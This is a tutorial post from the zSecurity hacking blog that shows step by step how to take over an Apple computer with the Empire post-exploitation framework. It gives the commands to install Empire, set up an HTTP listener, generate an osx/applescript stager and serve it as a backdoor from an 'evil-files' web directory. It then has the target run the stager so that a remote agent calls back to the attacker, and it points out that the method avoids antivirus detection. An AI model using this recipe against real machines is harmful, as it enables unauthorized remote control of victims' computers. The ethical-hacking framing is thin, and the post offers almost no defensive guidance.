• Home
  • Hacking & Security
    • Network Hacking
    • Web Hacking
    • Social Engineering
    • Kali Linux
    Submit An Article
  • Courses
    • All Courses
    • Bundles
    • Masterclass
    • VIP Membership
    • FAQ

    Popular Courses

  • Shop
    • Hardware Bundles
    • Wireless Adapters
    • Pentesting Tools
    • Security
    • Accessories
    • Clothing
    • Books
    • All
  • Competition
  • Services
    Penetration Testing
    Consulting
    Code Review
    One on one Training
    Online Courses
    VPN
  • Blog
      • Cart

    VIP Membership Masterclass
    Got a question?
    [email protected]
    RegisterLogin
    zSecurity
    • Home
    • Hacking & Security
      • Network Hacking
      • Web Hacking
      • Social Engineering
      • Kali Linux
      Submit An Article
    • Courses
      • All Courses
      • Bundles
      • Masterclass
      • VIP Membership
      • FAQ

      Popular Courses

    • Shop
      • Hardware Bundles
      • Wireless Adapters
      • Pentesting Tools
      • Security
      • Accessories
      • Clothing
      • Books
      • All
    • Competition
    • Services
      Penetration Testing
      Consulting
      Code Review
      One on one Training
      Online Courses
      VPN
    • Blog
        • Cart

      Hacking & Security

      Hack Apple Computers Using an Empire Stager

      • Posted by Vashisht Boodhun
      • Date April 2, 2021
      Hello Everyone,
      In this article, I will be showing you how to hack an Apple Computer using an empire stager.
      There are various stagers that can be used with empire but in this article I want to focus on OSX/applescript.

      What is Empire?

      Empire is a post-exploitation framework that includes a pure-PowerShell Windows agent and Linux/OSX agents.
      Empire gives us the ability to run commands in memory which reduces the chances of getting caught by any antivirus software or leaving any digital fingerprints.

      How to Install Empire?

      1. Clone the repo from github
      git cloneΒ https://github.com/BC-SECURITY/Empire.git
      2. Navigate to the setup directory
      cd Empire/setup
      3. Execute the install.sh file
      ./install.sh

      How to Run Empire?

      1. Navigate to the main directory of empire
      cd /opt/Empire
      2. Run it as follows:
      ./empire
      Note: You can use the ‘help’ command within empire to list all the commands that can be used.

      Listening For Incoming Connections:

      1. To open the listeners management menu, We can use the ‘listeners’ command.
      listeners
      2. Now that we are inside the listeners management menu, we can type ‘uselistener’, press <space> and hit the <tab> button twice to list all the types of listeners that can be used.
      uselistener + <space> + <tab> <tab>
      3. For our example, we will be using an http listener so we can just type ‘http’ and hit <enter>.
      uselistener http
      4. We can use the ‘info’ command to see the options that can be used with the listener.
      info
      .
      .
      5. The options that we are interested in here are : Name, Host, Port
      set Name http_listener1
      
      set Port 8080
      6. Once done with the options, we can use the ‘execute’ command to start our listener.
      execute
      .
      .

      Generating an OSX Stager:

      1. To list all the available stagers, we can type ‘usestager’, press <space> and hit the <tab> button twice.
      usestager + <space> + <tab> <tab>
      2. For our example, we will be using ‘osx/applescript’ so we can just type ‘osx/applescript’ and hit <enter>.
      usestager osx/applescript
      3. We can use the ‘info’ command to see the options that can be used with the stager.
      info
      4. The options that we are interested in here are : Listener, OutFile
      set listener http_listener1
      
      set OutFile /tmp/applescript
      5. Once done, we can use the ‘execute’ to generate our stager.
      execute
      
      .
      .
      We can now proceed to send the above generated stager to our target. As a rule of thumb, we are going to use a very basic delivery method to test the backdoor just to make sure that it works.
      .

      Delivering Our Backdoor:

      1. To deliver our backdoor, we will use apache2 which is a webserver that comes in pre-installed with kali. All we have to do is copy and paste our backdoor to /var/www/html/evil-files
      cp /tmp/applescript /var/www/html/evil-files
      2. We can start our webserver by using the following command:
      service apache2 start
      .
      .
      3. Now let’s go to the OSX machine and see if we can access the backdoor through our web browser. All we have to do is browse to http://[Attacker’s IP]/evil-files and select applescript to view the content of the file.
      .
      Once done with all of the above, we can now copy and paste the content to script editor and then run it from there by clicking on the start button.
      .
      .
      We can also export the script as an application by clicking on file and then export.
      .
      .
      As soon as the backdoor is executed on our target, a new agent will appear within empire.
      .
      Now we can interact with our target as shown below:
      I hope you find it useful πŸ™‚

      Resources:

      • Empire’s github repoΒ 
      • Zaid’s social engineering course
      • Empire’s website
      • Empire’s Blog
      • Share:
      author avatar
      Vashisht Boodhun

      Vashisht Boodhun is an ethical hacker, a computer scientist and a python programmer. He just loves hacking and breaking the rules. He has tremendous knowledge in ethical hacking and programming in python. Vashisht is currently working in a CyberSecurity company (zSecurity) based in Ireland as a Teaching Assistant.

      Previous post

      Expose Local Services To The Internet With 1 Command!
      April 2, 2021

      Next post

      Domain Controller Enumeration Using PowerView
      April 7, 2021

      You may also like

      secrets_370x208
      Unlocking Secrets: How to Crack SHA256 Passwords with Hashcat
      30 March, 2023
      domain-controllers_370x208
      Identifying Domain controller in a network
      24 March, 2023
      storm-braker_370x208
      Access Location, Camera & Mic of any Device πŸŒŽπŸŽ€πŸ“πŸ“·
      23 March, 2023

        1 Comment

      1. Vashisht Boodhun
        April 19, 2021
        Log in to Reply

        If you have any questions, you can send me an email at [email protected]

      Leave A Reply Cancel reply

      You must be logged in to post a comment.

      Categories

      • Cryptography
      • Cryptography
      • CTF
      • Forensics
      • Hacking & Security
      • Hardware
      • IOT
      • Kali Linux
      • Network Hacking
      • News
      • OSINT
      • Post Exploitation
      • Post Exploitation
      • Privacy
      • Programming
      • Security
      • Social Engineering
      • Uncategorized
      • Web Hacking

      Popular Posts

      Got a Blank Screen After Importing Kali in Virtual Box ? Here’s How To Fix It
      25Jan2018

      Connect with us

      • Facebook
      • Twitter
      • LinkedIn
      • Instagram
      • Youtube

      β€œEverything related to ethical hacking

      & cyber security in one place.”

      Quick Links

      • Home
      • About Us
      • Hacking & Security
      • Download Custom Kali
      • Contact
      • FAQ

      Services

      • Penetration Testing
      • Consulting
      • Code Review
      • One on one training
      • VPN
      • VIP Membership

      Company

      • About Us
      • Contact
      • Vulnerability Disclosure

      Support

      • FAQ
      • Forums

      Copyright Β© 2022 Z IT SECURITY LTD t/a zSecurity. All rights reserved.

      • Privacy
      • Shipping
      • Refunds
      • Terms

      Contribute

      Share your knowledge with the world

      SUBMIT AN ARTICLE

      Login with your site account

      Lost your password?

      Not a member yet? Register now

      Register a new account


      Are you a member? Login now

      Enroll in this course to access this lesson!

      All of our courses include:

      βœ” Lifetime, unlimited access to course materials & training videos.

      βœ” Watch online or download lectures for offline use.

      βœ” Verifiable certificate of completion from zSecurity, signed by the course instructor, Zaid.

      βœ” Get answers from our Support Team within a maximum of 15 hours.

      βœ” Unlimited Updates.

      Get free 1 month VIP membership per course with:

      βœ” Live mentorship and Q&A session with the course instructor, Zaid.

      βœ” Instant support from community members through our private discord channel.

      βœ” Daily updates with the latest tutorials & news in the hacking world.

      βœ” Daily resources like CTFs, bug bounty programs, onion services and more!

      βœ” Access our VIP community & connect with like-minded people.

      βœ” Discounts on other zSecurity products and services.

      We are using cookies to give you the best experience on our website. This includes but is not limited to:

      • Storing your settings and preferences.
      • Remember your access information
      • Track website performance and make our website more relevant to you.

      You can find out more about which cookies we are using or switch them off in settings.

      Privacy Overview

      This website uses cookies so that we can provide you with the best user experience possible. Cookie information is stored in your browser and performs functions such as recognising you when you return to our website and helping our team to understand which sections of the website you find most interesting and useful.

      Strictly Necessary Cookies

      Strictly Necessary Cookie should be enabled at all times so that we can save your preferences for cookie settings.

      3rd Party Cookies

      This website uses Google Analytics and Linkedin to collect anonymous information such as the number of visitors to the site, and the most popular pages.

      Keeping this cookies enabled helps us to improve our website.

      Please enable Strictly Necessary Cookies first so that we can save your preferences!

      Powered by  GDPR Cookie Compliance